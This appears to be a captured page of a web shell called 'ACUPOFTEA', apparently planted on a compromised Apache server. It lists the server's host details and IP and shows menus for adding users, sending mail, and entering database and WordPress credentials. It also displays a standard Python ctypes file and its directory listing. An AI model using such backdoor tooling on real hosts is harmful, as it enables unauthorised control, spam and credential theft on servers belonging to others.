System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
ctypes
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
_endian.py
import sys from ctypes import * _array_type = type(Array) def _other_endian(typ): """Return the type with the 'other' byte order. Simple types like c_int and so on already have __ctype_be__ and __ctype_le__ attributes which contain the types, for more complicated types arrays and structures are supported. """ # check _OTHER_ENDIAN attribute (present if typ is primitive type) if hasattr(typ, _OTHER_ENDIAN): return getattr(typ, _OTHER_ENDIAN) # if typ is array if isinstance(typ, _array_type): return _other_endian(typ._type_) * typ._length_ # if typ is structure if issubclass(typ, Structure): return typ raise TypeError("This type does not support other endian: %s" % typ) class _swapped_meta(type(Structure)): def __setattr__(self, attrname, value): if attrname == "_fields_": fields = [] for desc in value: name = desc[0] typ = desc[1] rest = desc[2:] fields.append((name, _other_endian(typ)) + rest) value = fields super(_swapped_meta, self).__setattr__(attrname, value) ################################################################ # Note: The Structure metaclass checks for the *presence* (not the # value!) of a _swapped_bytes_ attribute to determine the bit order in # structures containing bit fields. if sys.byteorder == "little": _OTHER_ENDIAN = "__ctype_be__" LittleEndianStructure = Structure class BigEndianStructure(Structure): """Structure with big endian byte order""" __metaclass__ = _swapped_meta _swappedbytes_ = None elif sys.byteorder == "big": _OTHER_ENDIAN = "__ctype_le__" BigEndianStructure = Structure class LittleEndianStructure(Structure): """Structure with little endian byte order""" __metaclass__ = _swapped_meta _swappedbytes_ = None else: raise RuntimeError("Invalid byteorder")
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
macholib
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
__init__.py
text/x-python
16.74 KB
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
19.72 KB
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
19.72 KB
-rw-r--r--
2024-04-10 04:58:46
_endian.py
text/x-python
1.95 KB
-rw-r--r--
2024-04-10 04:58:35
_endian.pyc
application/octet-stream
2.25 KB
-rw-r--r--
2024-04-10 04:58:46
_endian.pyo
application/octet-stream
2.25 KB
-rw-r--r--
2024-04-10 04:58:46
util.py
text/x-python
10.53 KB
-rw-r--r--
2024-04-10 04:58:35
util.py.binutils-no-dep
text/x-python
10.28 KB
-rw-r--r--
2024-04-10 04:58:35
util.pyc
application/octet-stream
8.35 KB
-rw-r--r--
2024-04-10 04:58:46
util.pyo
application/octet-stream
8.35 KB
-rw-r--r--
2024-04-10 04:58:46
wintypes.py
text/x-python
5.01 KB
-rw-r--r--
2024-04-10 04:58:35
wintypes.pyc
application/octet-stream
5.82 KB
-rw-r--r--
2024-04-10 04:58:46
wintypes.pyo
application/octet-stream
5.82 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com